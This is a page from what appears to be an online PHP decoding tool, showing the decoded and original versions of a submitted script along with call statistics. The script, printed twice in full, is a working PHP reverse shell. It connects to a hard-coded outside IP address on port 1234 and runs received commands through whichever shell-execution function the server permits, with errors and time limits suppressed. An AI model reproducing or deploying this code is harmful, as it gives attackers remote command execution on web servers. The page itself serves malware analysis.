Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
/*<?php @error_reporting(0);@set_time_limit(0);@ignore_user_abort(1);@ini_set('max_executi..
Decoded Output download
/*<?php @error_reporting(0);@set_time_limit(0);@ignore_user_abort(1);@ini_set('max_execution_time',0);$dis=@ini_get('disable_functions');if(!empty($dis)){$dis=preg_replace('/[, ]+/',',',$dis);$dis=explode(',',$dis);$dis=array_map('trim',$dis);}else{$dis=array();}$ipaddr='146.190.158.52';$port=1234;if(!function_exists('CSOxZZnOxY')){function CSOxZZnOxY($c){global $dis;if(FALSE!==strpos(strtolower(PHP_OS),'win')){$c=$c." 2>&1
";}$tdYfRPh='is_callable';$JPrSTMc='in_array';if($tdYfRPh('proc_open')and!$JPrSTMc('proc_open',$dis)){$handle=proc_open($c,array(array('pipe','r'),array('pipe','w'),array('pipe','w')),$pipes);$o=NULL;while(!feof($pipes[1])){$o.=fread($pipes[1],1024);}@proc_close($handle);}else if($tdYfRPh('system')and!$JPrSTMc('system',$dis)){ob_start();system($c);$o=ob_get_contents();ob_end_clean();}else if($tdYfRPh('passthru')and!$JPrSTMc('passthru',$dis)){ob_start();passthru($c);$o=ob_get_contents();ob_end_clean();}else if($tdYfRPh('shell_exec')and!$JPrSTMc('shell_exec',$dis)){$o=shell_exec($c);}else if($tdYfRPh('popen')and!$JPrSTMc('popen',$dis)){$fp=popen($c,'r');$o=NULL;if(is_resource($fp)){while(!feof($fp)){$o.=fread($fp,1024);}}@pclose($fp);}else if($tdYfRPh('exec')and!$JPrSTMc('exec',$dis)){$o=array();exec($c,$o);$o=join(chr(10),$o).chr(10);}else{$o=0;}return $o;}}$nofuncs='no exec functions';if(is_callable('fsockopen')and!in_array('fsockopen',$dis)){$s=@fsockopen("tcp://146.190.158.52",$port);while($c=fread($s,2048)){$out='';if(substr($c,0,3)=='cd '){chdir(substr($c,3,-1));}else if(substr($c,0,4)=='quit'||substr($c,0,4)=='exit'){break;}else{$out=CSOxZZnOxY(substr($c,0,-1));if($out===false){fwrite($s,$nofuncs);break;}}fwrite($s,$out);}fclose($s);}else{$s=@socket_create(AF_INET,SOCK_STREAM,SOL_TCP);@socket_connect($s,$ipaddr,$port);@socket_write($s,"socket_create");while($c=@socket_read($s,2048)){$out='';if(substr($c,0,3)=='cd '){chdir(substr($c,3,-1));}else if(substr($c,0,4)=='quit'||substr($c,0,4)=='exit'){break;}else{$out=CSOxZZnOxY(substr($c,0,-1));if($out===false){@socket_write($s,$nofuncs);break;}}@socket_write($s,$out,strlen($out));}@socket_close($s);} ?>
Did this file decode correctly?
Original Code
/*<?php @error_reporting(0);@set_time_limit(0);@ignore_user_abort(1);@ini_set('max_execution_time',0);$dis=@ini_get('disable_functions');if(!empty($dis)){$dis=preg_replace('/[, ]+/',',',$dis);$dis=explode(',',$dis);$dis=array_map('trim',$dis);}else{$dis=array();}$ipaddr='146.190.158.52';$port=1234;if(!function_exists('CSOxZZnOxY')){function CSOxZZnOxY($c){global $dis;if(FALSE!==strpos(strtolower(PHP_OS),'win')){$c=$c." 2>&1\n";}$tdYfRPh='is_callable';$JPrSTMc='in_array';if($tdYfRPh('proc_open')and!$JPrSTMc('proc_open',$dis)){$handle=proc_open($c,array(array('pipe','r'),array('pipe','w'),array('pipe','w')),$pipes);$o=NULL;while(!feof($pipes[1])){$o.=fread($pipes[1],1024);}@proc_close($handle);}else if($tdYfRPh('system')and!$JPrSTMc('system',$dis)){ob_start();system($c);$o=ob_get_contents();ob_end_clean();}else if($tdYfRPh('passthru')and!$JPrSTMc('passthru',$dis)){ob_start();passthru($c);$o=ob_get_contents();ob_end_clean();}else if($tdYfRPh('shell_exec')and!$JPrSTMc('shell_exec',$dis)){$o=shell_exec($c);}else if($tdYfRPh('popen')and!$JPrSTMc('popen',$dis)){$fp=popen($c,'r');$o=NULL;if(is_resource($fp)){while(!feof($fp)){$o.=fread($fp,1024);}}@pclose($fp);}else if($tdYfRPh('exec')and!$JPrSTMc('exec',$dis)){$o=array();exec($c,$o);$o=join(chr(10),$o).chr(10);}else{$o=0;}return $o;}}$nofuncs='no exec functions';if(is_callable('fsockopen')and!in_array('fsockopen',$dis)){$s=@fsockopen("tcp://146.190.158.52",$port);while($c=fread($s,2048)){$out='';if(substr($c,0,3)=='cd '){chdir(substr($c,3,-1));}else if(substr($c,0,4)=='quit'||substr($c,0,4)=='exit'){break;}else{$out=CSOxZZnOxY(substr($c,0,-1));if($out===false){fwrite($s,$nofuncs);break;}}fwrite($s,$out);}fclose($s);}else{$s=@socket_create(AF_INET,SOCK_STREAM,SOL_TCP);@socket_connect($s,$ipaddr,$port);@socket_write($s,"socket_create");while($c=@socket_read($s,2048)){$out='';if(substr($c,0,3)=='cd '){chdir(substr($c,3,-1));}else if(substr($c,0,4)=='quit'||substr($c,0,4)=='exit'){break;}else{$out=CSOxZZnOxY(substr($c,0,-1));if($out===false){@socket_write($s,$nofuncs);break;}}@socket_write($s,$out,strlen($out));}@socket_close($s);}
Function Calls
set_time_limit | 1 |
error_reporting | 1 |
ignore_user_abort | 1 |
Stats
MD5 | 85f7cb81d0d8483abf7463ea790e2061 |
Eval Count | 0 |
Decode Time | 79 ms |